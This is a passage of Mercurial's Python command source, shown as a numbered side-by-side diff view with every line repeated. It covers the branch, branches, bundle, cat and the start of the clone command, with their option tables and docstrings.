1330 When all heads of a branch are closed, the branch will be
1331 considered closed.
1331 considered closed.
1332
1332
1333 Returns 0 on success.
1333 Returns 0 on success.
1334 """
1334 """
1335 opts = pycompat.byteskwargs(opts)
1335 opts = pycompat.byteskwargs(opts)
1336 revs = opts.get(b'rev')
1336 revs = opts.get(b'rev')
1337 if label:
1337 if label:
1338 label = label.strip()
1338 label = label.strip()
1339
1339
1340 if not opts.get(b'clean') and not label:
1340 if not opts.get(b'clean') and not label:
1341 if revs:
1341 if revs:
1342 raise error.InputError(
1342 raise error.InputError(
1343 _(b"no branch name specified for the revisions")
1343 _(b"no branch name specified for the revisions")
1344 )
1344 )
1345 ui.write(b"%s\n" % repo.dirstate.branch())
1345 ui.write(b"%s\n" % repo.dirstate.branch())
1346 return
1346 return
1347
1347
1348 with repo.wlock():
1348 with repo.wlock():
1349 if opts.get(b'clean'):
1349 if opts.get(b'clean'):
1350 label = repo[b'.'].branch()
1350 label = repo[b'.'].branch()
1351 repo.dirstate.setbranch(label)
1351 repo.dirstate.setbranch(label)
1352 ui.status(_(b'reset working directory to branch %s\n') % label)
1352 ui.status(_(b'reset working directory to branch %s\n') % label)
1353 elif label:
1353 elif label:
1354
1354
1355 scmutil.checknewlabel(repo, label, b'branch')
1355 scmutil.checknewlabel(repo, label, b'branch')
1356 if revs:
1356 if revs:
1357 return cmdutil.changebranch(ui, repo, revs, label, opts)
1357 return cmdutil.changebranch(ui, repo, revs, label, opts)
1358
1358
1359 if not opts.get(b'force') and label in repo.branchmap():
1359 if not opts.get(b'force') and label in repo.branchmap():
1360 if label not in [p.branch() for p in repo[None].parents()]:
1360 if label not in [p.branch() for p in repo[None].parents()]:
1361 raise error.InputError(
1361 raise error.InputError(
1362 _(b'a branch of the same name already exists'),
1362 _(b'a branch of the same name already exists'),
1363 # i18n: "it" refers to an existing branch
1363 # i18n: "it" refers to an existing branch
1364 hint=_(b"use 'hg update' to switch to it"),
1364 hint=_(b"use 'hg update' to switch to it"),
1365 )
1365 )
1366
1366
1367 repo.dirstate.setbranch(label)
1367 repo.dirstate.setbranch(label)
1368 ui.status(_(b'marked working directory as branch %s\n') % label)
1368 ui.status(_(b'marked working directory as branch %s\n') % label)
1369
1369
1370 # find any open named branches aside from default
1370 # find any open named branches aside from default
1371 for n, h, t, c in repo.branchmap().iterbranches():
1371 for n, h, t, c in repo.branchmap().iterbranches():
1372 if n != b"default" and not c:
1372 if n != b"default" and not c:
1373 return 0
1373 return 0
1374 ui.status(
1374 ui.status(
1375 _(
1375 _(
1376 b'(branches are permanent and global, '
1376 b'(branches are permanent and global, '
1377 b'did you want a bookmark?)\n'
1377 b'did you want a bookmark?)\n'
1378 )
1378 )
1379 )
1379 )
1380
1380
1381
1381
1382 @command(
1382 @command(
1383 b'branches',
1383 b'branches',
1384 [
1384 [
1385 (
1385 (
1386 b'a',
1386 b'a',
1387 b'active',
1387 b'active',
1388 False,
1388 False,
1389 _(b'show only branches that have unmerged heads (DEPRECATED)'),
1389 _(b'show only branches that have unmerged heads (DEPRECATED)'),
1390 ),
1390 ),
1391 (b'c', b'closed', False, _(b'show normal and closed branches')),
1391 (b'c', b'closed', False, _(b'show normal and closed branches')),
1392 (b'r', b'rev', [], _(b'show branch name(s) of the given rev')),
1392 (b'r', b'rev', [], _(b'show branch name(s) of the given rev')),
1393 ]
1393 ]
1394 + formatteropts,
1394 + formatteropts,
1395 _(b'[-c]'),
1395 _(b'[-c]'),
1396 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1396 helpcategory=command.CATEGORY_CHANGE_ORGANIZATION,
1397 intents={INTENT_READONLY},
1397 intents={INTENT_READONLY},
1398 )
1398 )
1399 def branches(ui, repo, active=False, closed=False, **opts):
1399 def branches(ui, repo, active=False, closed=False, **opts):
1400 """list repository named branches
1400 """list repository named branches
1401
1401
1402 List the repository's named branches, indicating which ones are
1402 List the repository's named branches, indicating which ones are
1403 inactive. If -c/--closed is specified, also list branches which have
1403 inactive. If -c/--closed is specified, also list branches which have
1404 been marked closed (see :hg:`commit --close-branch`).
1404 been marked closed (see :hg:`commit --close-branch`).
1405
1405
1406 Use the command :hg:`update` to switch to an existing branch.
1406 Use the command :hg:`update` to switch to an existing branch.
1407
1407
1408 .. container:: verbose
1408 .. container:: verbose
1409
1409
1410 Template:
1410 Template:
1411
1411
1412 The following keywords are supported in addition to the common template
1412 The following keywords are supported in addition to the common template
1413 keywords and functions such as ``{branch}``. See also
1413 keywords and functions such as ``{branch}``. See also
1414 :hg:`help templates`.
1414 :hg:`help templates`.
1415
1415
1416 :active: Boolean. True if the branch is active.
1416 :active: Boolean. True if the branch is active.
1417 :closed: Boolean. True if the branch is closed.
1417 :closed: Boolean. True if the branch is closed.
1418 :current: Boolean. True if it is the current branch.
1418 :current: Boolean. True if it is the current branch.
1419
1419
1420 Returns 0.
1420 Returns 0.
1421 """
1421 """
1422
1422
1423 opts = pycompat.byteskwargs(opts)
1423 opts = pycompat.byteskwargs(opts)
1424 revs = opts.get(b'rev')
1424 revs = opts.get(b'rev')
1425 selectedbranches = None
1425 selectedbranches = None
1426 if revs:
1426 if revs:
1427 revs = logcmdutil.revrange(repo, revs)
1427 revs = logcmdutil.revrange(repo, revs)
1428 getbi = repo.revbranchcache().branchinfo
1428 getbi = repo.revbranchcache().branchinfo
1429 selectedbranches = {getbi(r)[0] for r in revs}
1429 selectedbranches = {getbi(r)[0] for r in revs}
1430
1430
1431 ui.pager(b'branches')
1431 ui.pager(b'branches')
1432 fm = ui.formatter(b'branches', opts)
1432 fm = ui.formatter(b'branches', opts)
1433 hexfunc = fm.hexfunc
1433 hexfunc = fm.hexfunc
1434
1434
1435 allheads = set(repo.heads())
1435 allheads = set(repo.heads())
1436 branches = []
1436 branches = []
1437 for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
1437 for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
1438 if selectedbranches is not None and tag not in selectedbranches:
1438 if selectedbranches is not None and tag not in selectedbranches:
1439 continue
1439 continue
1440 isactive = False
1440 isactive = False
1441 if not isclosed:
1441 if not isclosed:
1442 openheads = set(repo.branchmap().iteropen(heads))
1442 openheads = set(repo.branchmap().iteropen(heads))
1443 isactive = bool(openheads & allheads)
1443 isactive = bool(openheads & allheads)
1444 branches.append((tag, repo[tip], isactive, not isclosed))
1444 branches.append((tag, repo[tip], isactive, not isclosed))
1445 branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]), reverse=True)
1445 branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]), reverse=True)
1446
1446
1447 for tag, ctx, isactive, isopen in branches:
1447 for tag, ctx, isactive, isopen in branches:
1448 if active and not isactive:
1448 if active and not isactive:
1449 continue
1449 continue
1450 if isactive:
1450 if isactive:
1451 label = b'branches.active'
1451 label = b'branches.active'
1452 notice = b''
1452 notice = b''
1453 elif not isopen:
1453 elif not isopen:
1454 if not closed:
1454 if not closed:
1455 continue
1455 continue
1456 label = b'branches.closed'
1456 label = b'branches.closed'
1457 notice = _(b' (closed)')
1457 notice = _(b' (closed)')
1458 else:
1458 else:
1459 label = b'branches.inactive'
1459 label = b'branches.inactive'
1460 notice = _(b' (inactive)')
1460 notice = _(b' (inactive)')
1461 current = tag == repo.dirstate.branch()
1461 current = tag == repo.dirstate.branch()
1462 if current:
1462 if current:
1463 label = b'branches.current'
1463 label = b'branches.current'
1464
1464
1465 fm.startitem()
1465 fm.startitem()
1466 fm.write(b'branch', b'%s', tag, label=label)
1466 fm.write(b'branch', b'%s', tag, label=label)
1467 rev = ctx.rev()
1467 rev = ctx.rev()
1468 padsize = max(31 - len(b"%d" % rev) - encoding.colwidth(tag), 0)
1468 padsize = max(31 - len(b"%d" % rev) - encoding.colwidth(tag), 0)
1469 fmt = b' ' * padsize + b' %d:%s'
1469 fmt = b' ' * padsize + b' %d:%s'
1470 fm.condwrite(
1470 fm.condwrite(
1471 not ui.quiet,
1471 not ui.quiet,
1472 b'rev node',
1472 b'rev node',
1473 fmt,
1473 fmt,
1474 rev,
1474 rev,
1475 hexfunc(ctx.node()),
1475 hexfunc(ctx.node()),
1476 label=b'log.changeset changeset.%s' % ctx.phasestr(),
1476 label=b'log.changeset changeset.%s' % ctx.phasestr(),
1477 )
1477 )
1478 fm.context(ctx=ctx)
1478 fm.context(ctx=ctx)
1479 fm.data(active=isactive, closed=not isopen, current=current)
1479 fm.data(active=isactive, closed=not isopen, current=current)
1480 if not ui.quiet:
1480 if not ui.quiet:
1481 fm.plain(notice)
1481 fm.plain(notice)
1482 fm.plain(b'\n')
1482 fm.plain(b'\n')
1483 fm.end()
1483 fm.end()
1484
1484
1485
1485
1486 @command(
1486 @command(
1487 b'bundle',
1487 b'bundle',
1488 [
1488 [
1489 (
1489 (
1490 b'f',
1490 b'f',
1491 b'force',
1491 b'force',
1492 None,
1492 None,
1493 _(b'run even when the destination is unrelated'),
1493 _(b'run even when the destination is unrelated'),
1494 ),
1494 ),
1495 (
1495 (
1496 b'r',
1496 b'r',
1497 b'rev',
1497 b'rev',
1498 [],
1498 [],
1499 _(b'a changeset intended to be added to the destination'),
1499 _(b'a changeset intended to be added to the destination'),
1500 _(b'REV'),
1500 _(b'REV'),
1501 ),
1501 ),
1502 (
1502 (
1503 b'b',
1503 b'b',
1504 b'branch',
1504 b'branch',
1505 [],
1505 [],
1506 _(b'a specific branch you would like to bundle'),
1506 _(b'a specific branch you would like to bundle'),
1507 _(b'BRANCH'),
1507 _(b'BRANCH'),
1508 ),
1508 ),
1509 (
1509 (
1510 b'',
1510 b'',
1511 b'base',
1511 b'base',
1512 [],
1512 [],
1513 _(b'a base changeset assumed to be available at the destination'),
1513 _(b'a base changeset assumed to be available at the destination'),
1514 _(b'REV'),
1514 _(b'REV'),
1515 ),
1515 ),
1516 (b'a', b'all', None, _(b'bundle all changesets in the repository')),
1516 (b'a', b'all', None, _(b'bundle all changesets in the repository')),
1517 (
1517 (
1518 b't',
1518 b't',
1519 b'type',
1519 b'type',
1520 b'bzip2',
1520 b'bzip2',
1521 _(b'bundle compression type to use'),
1521 _(b'bundle compression type to use'),
1522 _(b'TYPE'),
1522 _(b'TYPE'),
1523 ),
1523 ),
1524 ]
1524 ]
1525 + remoteopts,
1525 + remoteopts,
1526 _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...'),
1526 _(b'[-f] [-t BUNDLESPEC] [-a] [-r REV]... [--base REV]... FILE [DEST]...'),
1527 helpcategory=command.CATEGORY_IMPORT_EXPORT,
1527 helpcategory=command.CATEGORY_IMPORT_EXPORT,
1528 )
1528 )
1529 def bundle(ui, repo, fname, *dests, **opts):
1529 def bundle(ui, repo, fname, *dests, **opts):
1530 """create a bundle file
1530 """create a bundle file
1531
1531
1532 Generate a bundle file containing data to be transferred to another
1532 Generate a bundle file containing data to be transferred to another
1533 repository.
1533 repository.
1534
1534
1535 To create a bundle containing all changesets, use -a/--all
1535 To create a bundle containing all changesets, use -a/--all
1536 (or --base null). Otherwise, hg assumes the destination will have
1536 (or --base null). Otherwise, hg assumes the destination will have
1537 all the nodes you specify with --base parameters. Otherwise, hg
1537 all the nodes you specify with --base parameters. Otherwise, hg
1538 will assume the repository has all the nodes in destination, or
1538 will assume the repository has all the nodes in destination, or
1539 default-push/default if no destination is specified, where destination
1539 default-push/default if no destination is specified, where destination
1540 is the repositories you provide through DEST option.
1540 is the repositories you provide through DEST option.
1541
1541
1542 You can change bundle format with the -t/--type option. See
1542 You can change bundle format with the -t/--type option. See
1543 :hg:`help bundlespec` for documentation on this format. By default,
1543 :hg:`help bundlespec` for documentation on this format. By default,
1544 the most appropriate format is used and compression defaults to
1544 the most appropriate format is used and compression defaults to
1545 bzip2.
1545 bzip2.
1546
1546
1547 The bundle file can then be transferred using conventional means
1547 The bundle file can then be transferred using conventional means
1548 and applied to another repository with the unbundle or pull
1548 and applied to another repository with the unbundle or pull
1549 command. This is useful when direct push and pull are not
1549 command. This is useful when direct push and pull are not
1550 available or when exporting an entire repository is undesirable.
1550 available or when exporting an entire repository is undesirable.
1551
1551
1552 Applying bundles preserves all changeset contents including
1552 Applying bundles preserves all changeset contents including
1553 permissions, copy/rename information, and revision history.
1553 permissions, copy/rename information, and revision history.
1554
1554
1555 Returns 0 on success, 1 if no changes found.
1555 Returns 0 on success, 1 if no changes found.
1556 """
1556 """
1557 opts = pycompat.byteskwargs(opts)
1557 opts = pycompat.byteskwargs(opts)
1558 revs = None
1558 revs = None
1559 if b'rev' in opts:
1559 if b'rev' in opts:
1560 revstrings = opts[b'rev']
1560 revstrings = opts[b'rev']
1561 revs = logcmdutil.revrange(repo, revstrings)
1561 revs = logcmdutil.revrange(repo, revstrings)
1562 if revstrings and not revs:
1562 if revstrings and not revs:
1563 raise error.InputError(_(b'no commits to bundle'))
1563 raise error.InputError(_(b'no commits to bundle'))
1564
1564
1565 bundletype = opts.get(b'type', b'bzip2').lower()
1565 bundletype = opts.get(b'type', b'bzip2').lower()
1566 try:
1566 try:
1567 bundlespec = bundlecaches.parsebundlespec(
1567 bundlespec = bundlecaches.parsebundlespec(
1568 repo, bundletype, strict=False
1568 repo, bundletype, strict=False
1569 )
1569 )
1570 except error.UnsupportedBundleSpecification as e:
1570 except error.UnsupportedBundleSpecification as e:
1571 raise error.InputError(
1571 raise error.InputError(
1572 pycompat.bytestr(e),
1572 pycompat.bytestr(e),
1573 hint=_(b"see 'hg help bundlespec' for supported values for --type"),
1573 hint=_(b"see 'hg help bundlespec' for supported values for --type"),
1574 )
1574 )
1575 cgversion = bundlespec.contentopts[b"cg.version"]
1575 cgversion = bundlespec.contentopts[b"cg.version"]
1576
1576
1577 # Packed bundles are a pseudo bundle format for now.
1577 # Packed bundles are a pseudo bundle format for now.
1578 if cgversion == b's1':
1578 if cgversion == b's1':
1579 raise error.InputError(
1579 raise error.InputError(
1580 _(b'packed bundles cannot be produced by "hg bundle"'),
1580 _(b'packed bundles cannot be produced by "hg bundle"'),
1581 hint=_(b"use 'hg debugcreatestreamclonebundle'"),
1581 hint=_(b"use 'hg debugcreatestreamclonebundle'"),
1582 )
1582 )
1583
1583
1584 if opts.get(b'all'):
1584 if opts.get(b'all'):
1585 if dests:
1585 if dests:
1586 raise error.InputError(
1586 raise error.InputError(
1587 _(b"--all is incompatible with specifying destinations")
1587 _(b"--all is incompatible with specifying destinations")
1588 )
1588 )
1589 if opts.get(b'base'):
1589 if opts.get(b'base'):
1590 ui.warn(_(b"ignoring --base because --all was specified\n"))
1590 ui.warn(_(b"ignoring --base because --all was specified\n"))
1591 base = [nullrev]
1591 base = [nullrev]
1592 else:
1592 else:
1593 base = logcmdutil.revrange(repo, opts.get(b'base'))
1593 base = logcmdutil.revrange(repo, opts.get(b'base'))
1594 if cgversion not in changegroup.supportedoutgoingversions(repo):
1594 if cgversion not in changegroup.supportedoutgoingversions(repo):
1595 raise error.Abort(
1595 raise error.Abort(
1596 _(b"repository does not support bundle version %s") % cgversion
1596 _(b"repository does not support bundle version %s") % cgversion
1597 )
1597 )
1598
1598
1599 if base:
1599 if base:
1600 if dests:
1600 if dests:
1601 raise error.InputError(
1601 raise error.InputError(
1602 _(b"--base is incompatible with specifying destinations")
1602 _(b"--base is incompatible with specifying destinations")
1603 )
1603 )
1604 common = [repo[rev].node() for rev in base]
1604 common = [repo[rev].node() for rev in base]
1605 heads = [repo[r].node() for r in revs] if revs else None
1605 heads = [repo[r].node() for r in revs] if revs else None
1606 outgoing = discovery.outgoing(repo, common, heads)
1606 outgoing = discovery.outgoing(repo, common, heads)
1607 missing = outgoing.missing
1607 missing = outgoing.missing
1608 excluded = outgoing.excluded
1608 excluded = outgoing.excluded
1609 else:
1609 else:
1610 missing = set()
1610 missing = set()
1611 excluded = set()
1611 excluded = set()
1612 for path in urlutil.get_push_paths(repo, ui, dests):
1612 for path in urlutil.get_push_paths(repo, ui, dests):
1613 other = hg.peer(repo, opts, path.rawloc)
1613 other = hg.peer(repo, opts, path.rawloc)
1614 if revs is not None:
1614 if revs is not None:
1615 hex_revs = [repo[r].hex() for r in revs]
1615 hex_revs = [repo[r].hex() for r in revs]
1616 else:
1616 else:
1617 hex_revs = None
1617 hex_revs = None
1618 branches = (path.branch, [])
1618 branches = (path.branch, [])
1619 head_revs, checkout = hg.addbranchrevs(
1619 head_revs, checkout = hg.addbranchrevs(
1620 repo, repo, branches, hex_revs
1620 repo, repo, branches, hex_revs
1621 )
1621 )
1622 heads = (
1622 heads = (
1623 head_revs
1623 head_revs
1624 and pycompat.maplist(repo.lookup, head_revs)
1624 and pycompat.maplist(repo.lookup, head_revs)
1625 or head_revs
1625 or head_revs
1626 )
1626 )
1627 outgoing = discovery.findcommonoutgoing(
1627 outgoing = discovery.findcommonoutgoing(
1628 repo,
1628 repo,
1629 other,
1629 other,
1630 onlyheads=heads,
1630 onlyheads=heads,
1631 force=opts.get(b'force'),
1631 force=opts.get(b'force'),
1632 portable=True,
1632 portable=True,
1633 )
1633 )
1634 missing.update(outgoing.missing)
1634 missing.update(outgoing.missing)
1635 excluded.update(outgoing.excluded)
1635 excluded.update(outgoing.excluded)
1636
1636
1637 if not missing:
1637 if not missing:
1638 scmutil.nochangesfound(ui, repo, not base and excluded)
1638 scmutil.nochangesfound(ui, repo, not base and excluded)
1639 return 1
1639 return 1
1640
1640
1641 if heads:
1641 if heads:
1642 outgoing = discovery.outgoing(
1642 outgoing = discovery.outgoing(
1643 repo, missingroots=missing, ancestorsof=heads
1643 repo, missingroots=missing, ancestorsof=heads
1644 )
1644 )
1645 else:
1645 else:
1646 outgoing = discovery.outgoing(repo, missingroots=missing)
1646 outgoing = discovery.outgoing(repo, missingroots=missing)
1647 outgoing.excluded = sorted(excluded)
1647 outgoing.excluded = sorted(excluded)
1648
1648
1649 if cgversion == b'01': # bundle1
1649 if cgversion == b'01': # bundle1
1650 bversion = b'HG10' + bundlespec.wirecompression
1650 bversion = b'HG10' + bundlespec.wirecompression
1651 bcompression = None
1651 bcompression = None
1652 elif cgversion in (b'02', b'03'):
1652 elif cgversion in (b'02', b'03'):
1653 bversion = b'HG20'
1653 bversion = b'HG20'
1654 bcompression = bundlespec.wirecompression
1654 bcompression = bundlespec.wirecompression
1655 else:
1655 else:
1656 raise error.ProgrammingError(
1656 raise error.ProgrammingError(
1657 b'bundle: unexpected changegroup version %s' % cgversion
1657 b'bundle: unexpected changegroup version %s' % cgversion
1658 )
1658 )
1659
1659
1660 # TODO compression options should be derived from bundlespec parsing.
1660 # TODO compression options should be derived from bundlespec parsing.
1661 # This is a temporary hack to allow adjusting bundle compression
1661 # This is a temporary hack to allow adjusting bundle compression
1662 # level without a) formalizing the bundlespec changes to declare it
1662 # level without a) formalizing the bundlespec changes to declare it
1663 # b) introducing a command flag.
1663 # b) introducing a command flag.
1664 compopts = {}
1664 compopts = {}
1665 complevel = ui.configint(
1665 complevel = ui.configint(
1666 b'experimental', b'bundlecomplevel.' + bundlespec.compression
1666 b'experimental', b'bundlecomplevel.' + bundlespec.compression
1667 )
1667 )
1668 if complevel is None:
1668 if complevel is None:
1669 complevel = ui.configint(b'experimental', b'bundlecomplevel')
1669 complevel = ui.configint(b'experimental', b'bundlecomplevel')
1670 if complevel is not None:
1670 if complevel is not None:
1671 compopts[b'level'] = complevel
1671 compopts[b'level'] = complevel
1672
1672
1673 compthreads = ui.configint(
1673 compthreads = ui.configint(
1674 b'experimental', b'bundlecompthreads.' + bundlespec.compression
1674 b'experimental', b'bundlecompthreads.' + bundlespec.compression
1675 )
1675 )
1676 if compthreads is None:
1676 if compthreads is None:
1677 compthreads = ui.configint(b'experimental', b'bundlecompthreads')
1677 compthreads = ui.configint(b'experimental', b'bundlecompthreads')
1678 if compthreads is not None:
1678 if compthreads is not None:
1679 compopts[b'threads'] = compthreads
1679 compopts[b'threads'] = compthreads
1680
1680
1681 # Bundling of obsmarker and phases is optional as not all clients
1681 # Bundling of obsmarker and phases is optional as not all clients
1682 # support the necessary features.
1682 # support the necessary features.
1683 cfg = ui.configbool
1683 cfg = ui.configbool
1684 contentopts = {
1684 contentopts = {
1685 b'obsolescence': cfg(b'experimental', b'evolution.bundle-obsmarker'),
1685 b'obsolescence': cfg(b'experimental', b'evolution.bundle-obsmarker'),
1686 b'obsolescence-mandatory': cfg(
1686 b'obsolescence-mandatory': cfg(
1687 b'experimental', b'evolution.bundle-obsmarker:mandatory'
1687 b'experimental', b'evolution.bundle-obsmarker:mandatory'
1688 ),
1688 ),
1689 b'phases': cfg(b'experimental', b'bundle-phases'),
1689 b'phases': cfg(b'experimental', b'bundle-phases'),
1690 }
1690 }
1691 bundlespec.contentopts.update(contentopts)
1691 bundlespec.contentopts.update(contentopts)
1692
1692
1693 bundle2.writenewbundle(
1693 bundle2.writenewbundle(
1694 ui,
1694 ui,
1695 repo,
1695 repo,
1696 b'bundle',
1696 b'bundle',
1697 fname,
1697 fname,
1698 bversion,
1698 bversion,
1699 outgoing,
1699 outgoing,
1700 bundlespec.contentopts,
1700 bundlespec.contentopts,
1701 compression=bcompression,
1701 compression=bcompression,
1702 compopts=compopts,
1702 compopts=compopts,
1703 )
1703 )
1704
1704
1705
1705
1706 @command(
1706 @command(
1707 b'cat',
1707 b'cat',
1708 [
1708 [
1709 (
1709 (
1710 b'o',
1710 b'o',
1711 b'output',
1711 b'output',
1712 b'',
1712 b'',
1713 _(b'print output to file with formatted name'),
1713 _(b'print output to file with formatted name'),
1714 _(b'FORMAT'),
1714 _(b'FORMAT'),
1715 ),
1715 ),
1716 (b'r', b'rev', b'', _(b'print the given revision'), _(b'REV')),
1716 (b'r', b'rev', b'', _(b'print the given revision'), _(b'REV')),
1717 (b'', b'decode', None, _(b'apply any matching decode filter')),
1717 (b'', b'decode', None, _(b'apply any matching decode filter')),
1718 ]
1718 ]
1719 + walkopts
1719 + walkopts
1720 + formatteropts,
1720 + formatteropts,
1721 _(b'[OPTION]... FILE...'),
1721 _(b'[OPTION]... FILE...'),
1722 helpcategory=command.CATEGORY_FILE_CONTENTS,
1722 helpcategory=command.CATEGORY_FILE_CONTENTS,
1723 inferrepo=True,
1723 inferrepo=True,
1724 intents={INTENT_READONLY},
1724 intents={INTENT_READONLY},
1725 )
1725 )
1726 def cat(ui, repo, file1, *pats, **opts):
1726 def cat(ui, repo, file1, *pats, **opts):
1727 """output the current or given revision of files
1727 """output the current or given revision of files
1728
1728
1729 Print the specified files as they were at the given revision. If
1729 Print the specified files as they were at the given revision. If
1730 no revision is given, the parent of the working directory is used.
1730 no revision is given, the parent of the working directory is used.
1731
1731
1732 Output may be to a file, in which case the name of the file is
1732 Output may be to a file, in which case the name of the file is
1733 given using a template string. See :hg:`help templates`. In addition
1733 given using a template string. See :hg:`help templates`. In addition
1734 to the common template keywords, the following formatting rules are
1734 to the common template keywords, the following formatting rules are
1735 supported:
1735 supported:
1736
1736
1737 :``%%``: literal "%" character
1737 :``%%``: literal "%" character
1738 :``%s``: basename of file being printed
1738 :``%s``: basename of file being printed
1739 :``%d``: dirname of file being printed, or '.' if in repository root
1739 :``%d``: dirname of file being printed, or '.' if in repository root
1740 :``%p``: root-relative path name of file being printed
1740 :``%p``: root-relative path name of file being printed
1741 :``%H``: changeset hash (40 hexadecimal digits)
1741 :``%H``: changeset hash (40 hexadecimal digits)
1742 :``%R``: changeset revision number
1742 :``%R``: changeset revision number
1743 :``%h``: short-form changeset hash (12 hexadecimal digits)
1743 :``%h``: short-form changeset hash (12 hexadecimal digits)
1744 :``%r``: zero-padded changeset revision number
1744 :``%r``: zero-padded changeset revision number
1745 :``%b``: basename of the exporting repository
1745 :``%b``: basename of the exporting repository
1746 :``\\``: literal "\\" character
1746 :``\\``: literal "\\" character
1747
1747
1748 .. container:: verbose
1748 .. container:: verbose
1749
1749
1750 Template:
1750 Template:
1751
1751
1752 The following keywords are supported in addition to the common template
1752 The following keywords are supported in addition to the common template
1753 keywords and functions. See also :hg:`help templates`.
1753 keywords and functions. See also :hg:`help templates`.
1754
1754
1755 :data: String. File content.
1755 :data: String. File content.
1756 :path: String. Repository-absolute path of the file.
1756 :path: String. Repository-absolute path of the file.
1757
1757
1758 Returns 0 on success.
1758 Returns 0 on success.
1759 """
1759 """
1760 opts = pycompat.byteskwargs(opts)
1760 opts = pycompat.byteskwargs(opts)
1761 rev = opts.get(b'rev')
1761 rev = opts.get(b'rev')
1762 if rev:
1762 if rev:
1763 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1763 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1764 ctx = logcmdutil.revsingle(repo, rev)
1764 ctx = logcmdutil.revsingle(repo, rev)
1765 m = scmutil.match(ctx, (file1,) + pats, opts)
1765 m = scmutil.match(ctx, (file1,) + pats, opts)
1766 fntemplate = opts.pop(b'output', b'')
1766 fntemplate = opts.pop(b'output', b'')
1767 if cmdutil.isstdiofilename(fntemplate):
1767 if cmdutil.isstdiofilename(fntemplate):
1768 fntemplate = b''
1768 fntemplate = b''
1769
1769
1770 if fntemplate:
1770 if fntemplate:
1771 fm = formatter.nullformatter(ui, b'cat', opts)
1771 fm = formatter.nullformatter(ui, b'cat', opts)
1772 else:
1772 else:
1773 ui.pager(b'cat')
1773 ui.pager(b'cat')
1774 fm = ui.formatter(b'cat', opts)
1774 fm = ui.formatter(b'cat', opts)
1775 with fm:
1775 with fm:
1776 return cmdutil.cat(
1776 return cmdutil.cat(
1777 ui, repo, ctx, m, fm, fntemplate, b'', **pycompat.strkwargs(opts)
1777 ui, repo, ctx, m, fm, fntemplate, b'', **pycompat.strkwargs(opts)
1778 )
1778 )
1779
1779
1780
1780
1781 @command(
1781 @command(
1782 b'clone',
1782 b'clone',
1783 [
1783 [
1784 (
1784 (
1785 b'U',
1785 b'U',
1786 b'noupdate',
1786 b'noupdate',
1787 None,
1787 None,
1788 _(
1788 _(
1789 b'the clone will include an empty working '
1789 b'the clone will include an empty working '
1790 b'directory (only a repository)'
1790 b'directory (only a repository)'
1791 ),
1791 ),
1792 ),
1792 ),
1793 (
1793 (
1794 b'u',
1794 b'u',
1795 b'updaterev',
1795 b'updaterev',
1796 b'',
1796 b'',
1797 _(b'revision, tag, or branch to check out'),
1797 _(b'revision, tag, or branch to check out'),
1798 _(b'REV'),
1798 _(b'REV'),
1799 ),
1799 ),
1800 (
1800 (
1801 b'r',
1801 b'r',
1802 b'rev',
1802 b'rev',
1803 [],
1803 [],
1804 _(
1804 _(
1805 b'do not clone everything, but include this changeset'
1805 b'do not clone everything, but include this changeset'
1806 b' and its ancestors'
1806 b' and its ancestors'
1807 ),
1807 ),
1808 _(b'REV'),
1808 _(b'REV'),
1809 ),
1809 ),
1810 (
1810 (
1811 b'b',
1811 b'b',
1812 b'branch',
1812 b'branch',
1813 [],
1813 [],
1814 _(
1814 _(
1815 b'do not clone everything, but include this branch\'s'
1815 b'do not clone everything, but include this branch\'s'
1816 b' changesets and their ancestors'
1816 b' changesets and their ancestors'
1817 ),
1817 ),
1818 _(b'BRANCH'),
1818 _(b'BRANCH'),
1819 ),
1819 ),
1820 (b'', b'pull', None, _(b'use pull protocol to copy metadata')),
1820 (b'', b'pull', None, _(b'use pull protocol to copy metadata')),
1821 (b'', b'uncompressed', None, _(b'an alias to --stream (DEPRECATED)')),
1821 (b'', b'uncompressed', None, _(b'an alias to --stream (DEPRECATED)')),
1822 (b'', b'stream', None, _(b'clone with minimal data processing')),
1822 (b'', b'stream', None, _(b'clone with minimal data processing')),
1823 ]
1823 ]
1824 + remoteopts,
1824 + remoteopts,
1825 _(b'[OPTION]... SOURCE [DEST]'),
1825 _(b'[OPTION]... SOURCE [DEST]'),
1826 helpcategory=command.CATEGORY_REPO_CREATION,
1826 helpcategory=command.CATEGORY_REPO_CREATION,
1827 helpbasic=True,
1827 helpbasic=True,
1828 norepo=True,
1828 norepo=True,
1829 )
1829 )
1830 def clone(ui, source, dest=None, **opts):
1830 def clone(ui, source, dest=None, **opts):
1831 """make a copy of an existing repository
1831 """make a copy of an existing repository
1832
1832
1833 Create a copy of an existing repository in a new directory.
1833 Create a copy of an existing repository in a new directory.
1834
1834
1835 If no destination directory name is specified, it defaults to the
1835 If no destination directory name is specified, it defaults to the
1836 basename of the source.
1836 basename of the source.
1837
1837
1838 The location of the source is added to the new repository's
1838 The location of the source is added to the new repository's
1839 ``.hg/hgrc`` file, as the default to be used for future pulls.
1839 ``.hg/hgrc`` file, as the default to be used for future pulls.
1840
1840
1841 Only local paths and ``ssh://`` URLs are supported as
1841 Only local paths and ``ssh://`` URLs are supported as
1842 destinations. For ``ssh://`` destinations, no working directory or
1842 destinations. For ``ssh://`` destinations, no working directory or
1843 ``.hg/hgrc`` will be created on the remote side.
1843 ``.hg/hgrc`` will be created on the remote side.
1844
1844
1845 If the source repository has a bookmark called '@' set, that
1845 If the source repository has a bookmark called '@' set, that
1846 revision will be checked out in the new repository by default.
1846 revision will be checked out in the new repository by default.
1847
1847
1848 To check out a particular version, use -u/--update, or
1848 To check out a particular version, use -u/--update, or
1849 -U/--noupdate to create a clone with no working directory.
1849 -U/--noupdate to create a clone with no working directory.
1850
1850
1851 To pull only a subset of changesets, specify one or more revisions
1851 To pull only a subset of changesets, specify one or more revisions
1852 identifiers with -r/--rev or branches with -b/--branch. The
1852 identifiers with -r/--rev or branches with -b/--branch. The
1853 resulting clone will contain only the specified changesets and
1853 resulting clone will contain only the specified changesets and
1854 their ancestors. These options (or 'clone src#rev dest') imply
1854 their ancestors. These options (or 'clone src#rev dest') imply
1855 --pull, even for local source repositories.
1855 --pull, even for local source repositories.
1856
1856
1857 In normal clone mode, the remote normalizes repository data into a common
1857 In normal clone mode, the remote normalizes repository data into a common
